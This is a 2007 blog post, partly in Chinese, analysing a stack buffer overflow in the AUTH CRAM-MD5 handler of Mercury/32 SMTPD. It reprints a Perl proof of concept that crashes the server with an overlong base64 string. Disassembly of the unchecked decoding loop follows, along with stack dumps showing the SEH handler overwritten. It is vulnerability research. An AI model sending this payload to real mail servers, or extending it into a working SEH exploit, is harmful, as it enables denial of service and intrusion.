2007年8月19日星期日

[Tips]Mercury SMTPD AUTH CRAM-MD5 Pre-Auth Remote Stack Overflow Analysis

by axis
2007-08-20
http://www.ph4nt0m.org

eliteb0y had posted a stack based overflow of Mercury SMTPD on FD today.

POC: http://www.milw0rm.com/exploits/4294

use IO::Socket;
use MIME::Base64;
$
|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort 
=> '25',
Proto 
=> 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}


I've installed the latest version of Mercury,and found that the banner of smtpd has been deleted, but the banner of imapd is still keeped.
My machine:
Windows 2003 CN SP1
Mercury/32 v4.51

attach to mercury.exe process:

The Vuln Func:
015261B3    6A 00           PUSH 0
015261B5    8D8B A2060000   LEA ECX,DWORD PTR DS:[EBX
+6A2]
015261BB    
51              PUSH ECX                                 ; 指向string
015261BC    8D85 38FFFFFF   LEA EAX,DWORD PTR SS:[EBP
-C8]
015261C2    
50              PUSH EAX
015261C3    8B15 D8CB5401   MOV EDX,DWORD PTR DS:[154CBD8]
015261C9    FF92 3E010000   CALL DWORD PTR DS:[EDX
+13E]              ; mercury.004251C1


The Second Args here points to our string

In the Func:
004251C1    55              PUSH EBP
004251C2    8BEC            MOV EBP,ESP
004251C4    
51              PUSH ECX
004251C5    
53              PUSH EBX
004251C6    
56              PUSH ESI
004251C7    8B55 
08         MOV EDX,DWORD PTR SS:[EBP+8]             ; dest
004251CA    E9 4B010000     JMP mercury.0042531A


it will copy to here([edx]), which address is in the stack
004251C7 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; dest

now in the stack
EDX = 025FFAD4
025FFAD0 |00000004
025FFAD4 |025FFB20 ; 从这里覆盖起
025FFAD8 |71A8236B 返回到 mswsock.71A8236B 来自 kernel32.InterlockedDecrement
025FFADC |71A8237A 返回到 mswsock.71A8237A 来自 mswsock.71A81480
025FFAE0 |00000000
025FFAE4 |0016AFE8
025FFAE8 |00000000
025FFAEC |0000277B
025FFAF0 |00168E68

and continue:
0042531A    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP+C]
0042531D    FF45 0C         INC DWORD PTR SS:[EBP
+C]
00425320    0FBE01          MOVSX EAX,BYTE PTR DS:[ECX]
00425323    85C0            TEST EAX,EAX
00425325  ^ 0F85 A4FEFFFF   JNZ mercury.004251CF       ; 跳转实现
0042532B    C602 
00         MOV BYTE PTR DS:[EDX],0
0042532E    B8 
01000000     MOV EAX,1
00425333    5E              POP ESI


now is the proceture of copy,take care of badchars
004251CF    83F8 0D         CMP EAX,0D
004251D2    0F84 
42010000   JE mercury.0042531A
004251D8    83F8 0A         CMP EAX,0A
004251DB    0F84 
39010000   JE mercury.0042531A
004251E1    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP
+C]
004251E4    0FBE09          MOVSX ECX,BYTE PTR DS:[ECX]
004251E7    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251EA    8B5D 0C         MOV EBX,DWORD PTR SS:[EBP
+C]
004251ED    0FBE33          MOVSX ESI,BYTE PTR DS:[EBX]
004251F0    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251F3    8B5D 0C         MOV EBX,DWORD PTR SS:[EBP
+C]
004251F6    0FBE1B          MOVSX EBX,BYTE PTR DS:[EBX]
004251F9    895D FC         MOV DWORD PTR SS:[EBP
-4],EBX
004251FC    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251FF    85C9            TEST ECX,ECX
00425201    74 0A           JE SHORT mercury.0042520D
00425203    85F6            TEST ESI,ESI
00425205    74 06           JE SHORT mercury.0042520D
00425207    837D FC 00      CMP DWORD PTR SS:[EBP-4],0
0042520B    
75 0A           JNZ SHORT mercury.00425217
0042520D    C602 
00         MOV BYTE PTR DS:[EDX],0
00425210    33C0            XOR EAX,EAX
00425212    E9 1C010000     JMP mercury.00425333
00425217    83F8 3D         CMP EAX,3D
0042521A    0F84 0B010000   JE mercury.0042532B
00425220    83F9 3D         CMP ECX,3D
00425223    0F84 02010000   JE mercury.0042532B
00425229    85C0            TEST EAX,EAX
0042522B    7C 
05           JL SHORT mercury.00425232
0042522D    83F8 7F         CMP EAX,7F
00425230    7E 05           JLE SHORT mercury.00425237
00425232    83CB FF         OR EBX,FFFFFFFF
00425235    EB 08           JMP SHORT mercury.0042523F
00425237    0FBF1C45 96A946>MOVSX EBX,WORD PTR DS:[EAX*2+46A996]     ; 根据我们控制的数据,变成offset,读取.data中的数据
0042523F    8BC3            MOV EAX,EBX
00425241    85C9            TEST ECX,ECX
00425243    7C 05           JL SHORT mercury.0042524A
00425245    83F9 7F         CMP ECX,7F
00425248    7E 05           JLE SHORT mercury.0042524F
0042524A    83CB FF         OR EBX,FFFFFFFF
0042524D    EB 
08           JMP SHORT mercury.00425257
0042524F    0FBF1C4D 96A946
>MOVSX EBX,WORD PTR DS:[ECX*2+46A996]
00425257    8BCB            MOV ECX,EBX
00425259    C1E0 02         SHL EAX,2
0042525C    8BD9            MOV EBX,ECX
0042525E    83E3 
30         AND EBX,30
00425261    C1FB 04         SAR EBX,4
00425264    0BC3            OR EAX,EBX
00425266    A8 80           TEST AL,80
00425268    74 14           JE SHORT mercury.0042527E
0042526A    837D 
10 00      CMP DWORD PTR SS:[EBP+10],0
0042526E    
74 0E           JE SHORT mercury.0042527E


copy after jmp,take care of the algorithm:
0042527E    8802            MOV BYTE PTR DS:[EDX],AL                 ; copy begin
00425280    42              INC EDX
00425281    83FE 3D         CMP ESI,3D
00425284    0F84 A1000000   JE mercury.0042532B
0042528A    85F6            TEST ESI,ESI
0042528C    7C 
05           JL SHORT mercury.00425293
0042528E    83FE 7F         CMP ESI,7F
00425291    7E 05           JLE SHORT mercury.00425298
00425293    83C8 FF         OR EAX,FFFFFFFF
00425296    EB 08           JMP SHORT mercury.004252A0
00425298    0FBF0475 96A946>MOVSX EAX,WORD PTR DS:[ESI*2+46A996]
004252A0    8BF0            MOV ESI,EAX
004252A2    8BC1            MOV EAX,ECX
004252A4    83E0 0F         AND EAX,0F
004252A7    C1E0 
04         SHL EAX,4
004252AA    8BCE            MOV ECX,ESI
004252AC    83E1 3C         AND ECX,3C
004252AF    C1F9 
02         SAR ECX,2
004252B2    0BC1            OR EAX,ECX
004252B4    A8 
80           TEST AL,80
004252B6    
74 14           JE SHORT mercury.004252CC
004252B8    837D 
10 00      CMP DWORD PTR SS:[EBP+10],0
004252BC    
74 0E           JE SHORT mercury.004252CC


jmp and continue:
004252CC    8802            MOV BYTE PTR DS:[EDX],AL                 ; 拷贝
004252CE    
42              INC EDX
004252CF    837D FC 3D      CMP DWORD PTR SS:[EBP
-4],3D
004252D3    
74 56           JE SHORT mercury.0042532B
004252D5    837D FC 
00      CMP DWORD PTR SS:[EBP-4],0
004252D9    7C 
06           JL SHORT mercury.004252E1
004252DB    837D FC 7F      CMP DWORD PTR SS:[EBP
-4],7F
004252DF    7E 
05           JLE SHORT mercury.004252E6
004252E1    83C8 FF         OR EAX,FFFFFFFF
004252E4    EB 0B           JMP SHORT mercury.004252F1
004252E6    8B4D FC         MOV ECX,DWORD PTR SS:[EBP
-4]
004252E9    0FBF044D 96A946
>MOVSX EAX,WORD PTR DS:[ECX*2+46A996]
004252F1    
8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
004252F4    8BC6            MOV EAX,ESI
004252F6    83E0 
03         AND EAX,3
004252F9    C1E0 
06         SHL EAX,6
004252FC    0B45 FC         OR EAX,DWORD PTR SS:[EBP
-4]
004252FF    A8 
80           TEST AL,80
00425301    74 14           JE SHORT mercury.00425317


. . . . . .



00425317    8802            MOV BYTE PTR DS:[EDX],AL                 ; copy
00425319    42              INC EDX
0042531A    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP
+C]
0042531D    FF45 0C         INC DWORD PTR SS:[EBP
+C]
00425320    0FBE01          MOVSX EAX,BYTE PTR DS:[ECX]
00425323    85C0            TEST EAX,EAX
00425325  ^ 0F85 A4FEFFFF   JNZ mercury.004251CF                     ; 循环


it will overwrite the entire stack, then trigger the exception
025FFFB0 41414141 指向下一个 SEH 记录的指针
025FFFB4 41414141 SE处理程序
025FFFB8 41414141
025FFFBC 41414141
025FFFC0 41414141
025FFFC4 41414141
025FFFC8 41414141
025FFFCC 41414141
025FFFD0 41414141
025FFFD4 41414141
025FFFD8 41414141
025FFFDC 41414141
025FFFE0 41414141
025FFFE4 41414141
025FFFE8 41414141
025FFFEC 41414141
025FFFF0 41414141
025FFFF4 41414141
025FFFF8 41414141
025FFFFC 41414141

If you read suck above, let me explain it:
It's very simple, as you input your string, it will find the corresponding char in .data, then copy the corresponding char to somewhere in the stack. Because of the lack of length checking, it will continued copy the string to the stack unless the end of the string was found, so it will overwrite the entire stack, and the exception is triggered.
It will overwrite the seh handler in the stack, so we can control the flow of execution by overwriting SEH.

At first, the algorithm made me suck here, but void told me that it was a standard base64 here. So it becomes much easier to exploit it.
And base64 encode("AAA") = "QUFB", which is the string used in the POC here.
Thanks to Void#ph4nt0m for help me recognizing the algorithm.